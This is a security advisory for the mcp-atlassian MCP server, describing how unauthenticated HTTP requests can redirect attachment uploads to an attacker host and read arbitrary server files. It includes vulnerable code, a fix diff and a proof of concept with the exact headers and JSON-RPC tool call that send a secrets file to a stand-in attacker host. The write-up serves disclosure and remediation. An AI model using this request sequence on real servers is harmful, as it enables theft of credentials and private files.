GitHub Advisoryadvisory · PyPI

GHSA-wv8v-v4c5-v75j MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path

HIGH Published 2026-09-22 Modified 2026-09-22 Official page ↗
Aliases
CVE-2026-77246
Ecosystem
PyPI
Packages
mcp-atlassian
Severity
High
CVSS vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-200, CWE-22, CWE-441
Reviewed
2026-09-22

Affected packages

• PyPI mcp-atlassian: < 0.22.0 → fixed in 0.22.0

Description

Summary The `mcp-atlassian` server exposes an MCP tool (`confluence_upload_attachment` and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (`streamable-http` or `sse`), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (`X-Atlassian-Confluence-Url` / `X-Atlassian-Confluence-Personal-Token`) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary `file_path` (e.g. `/etc/passwd`, `~/.env`, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or `Authorization` header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2). --- Details Data flow (source → sink) | Step | Location | Role | |------|----------|------| | 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. | | 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `"pat"`, effectively bypassing authentication requirements. | | 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. | | 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker's server. | | 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. | | 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` — already used on download paths — is never called here, leaving no directory restriction in place. | | 7 | `src/mcp_atlassian/confluence/attachments.py:477` | Sink: `files = {"file": (filename, open(file_path, "rb"))}` — the file is opened and sent as multipart to the attacker's server. | | 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, "rb")`. | Key code evidence ```python src/mcp_atlassian/confluence/attachments.py 64: if not os.path.isabs(file_path): 65: file_path = os.path.abspath(file_path) 68: if not os.path.exists(file_path): 77: filename = os.path.basename(file_path) 477: files = {"file": (filename, open(file_path, "rb"))} # ← sink ``` ```python src/mcp_atlassian/jira/attachments.py 374: if not os.path.isabs(file_path): 375: file_path = os.path.abspath(file_path) 386: with open(file_path, "rb") as file: # ← sink 387: attachment = self.jira.add_attachment( ``` Why `validate_safe_path` is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access. Default configuration enables the attack: `READ_ONLY_MODE` defaults to `false`, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design). Recommended remediation ```diff --- a/src/mcp_atlassian/confluence/attachments.py +++ b/src/mcp_atlassian/confluence/attachments.py • if not os.path.isabs(file_path): • file_path = os.path.abspath(file_path) + file_path = str(validate_safe_path(file_path)) filename = os.path.basename(file_path) • files = {"file": (filename, open(file_path, "rb"))} + with open(file_path, "rb") as file_obj: + files = {"file": (filename, file_obj)} + response = self.confluence._session.put( + url, headers=headers, files=files, data=data + ) • response = self.confluence._session.put( • url, headers=headers, files=files, data=data • ) --- a/src/mcp_atlassian/jira/attachments.py +++ b/src/mcp_atlassian/jira/attachments.py • if not os.path.isabs(file_path): • file_path = os.path.abspath(file_path) + file_path = str(validate_safe_path(file_path)) ``` Additional hardening: reject header-based service URLs before fetcher construction using `validate_url_for_ssrf` with a strict allowlist, and consider defaulting `READ_ONLY_MODE=true` for remotely reachable deployments. --- PoC Prerequisites • Docker (CLI + daemon) available on the attacker machine. • Python 3.x with `httpx` installed (`pip install httpx`). • The `mcp-atlassian` repository cloned locally (commit `d8bc786` or compatible). Step 1 — Build the victim image The `Dockerfile` at `vuln-001/Dockerfile` builds the `mcp-atlassian` server and plants a simulated `.env` file at `/home/app/.env` containing fake secrets: ``` SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3 DB_PASSWORD=pr0duct10n_d4tab4se_p4ss AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY ``` ```bash docker build -t mcp-atlassian-vuln001 \ -f vuln-001/Dockerfile \ /path/to/mcp-atlassian-repo ``` Step 2 — Run the automated PoC script The `poc.py` script orchestrates the full attack: ```bash python3 poc.py \ --repo /path/to/mcp-atlassian-repo \ --victim-port 18000 \ --attacker-port 18888 ``` The script performs the following actions automatically: 1. Creates a Docker network (`poc-vuln001-net`). 2. Starts an attacker HTTP server container (`poc-vuln001-attacker`, port `18888`) that mimics a Confluence REST API and records multipart upload bodies. 3. Starts the victim MCP server container (`poc-vuln001-victim`, port `18000`) with `READ_ONLY_MODE=false` and `MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker`. 4. Sends the following MCP JSON-RPC sequence to `http://127.0.0.1:18000/mcp`: ```python Step 4a — initialize (no Authorization header) headers = { "X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888", "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc", } POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1, "params":{"protocolVersion":"2024-11-05","capabilities":{}, "clientInfo":{"name":"vuln001-poc","version":"1.0"}}} Step 4b — trigger file exfiltration POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3, "params":{"name":"confluence_upload_attachment", "arguments":{"content_id":"123", "file_path":"/home/app/.env"}}} ``` 5. Queries `http://127.0.0.1:18888/exfil` and verifies that the attacker server received the file contents. Expected result The attacker server logs and `/exfil` endpoint confirm receipt of the victim file: ``` [attacker] * EXFILTRATED FILE CONTENT START * SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3 DB_PASSWORD=pr0duct10n_d4tab4se_p4ss AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY [attacker] * EXFILTRATED FILE CONTENT END * ``` Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC. --- Impact Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-co…

Related

Alias · CVE (1)

  • CVE-2026-77246 MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). vulnerability

Weakness · CWE (3)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-441 Unintended Proxy or Intermediary weakness

References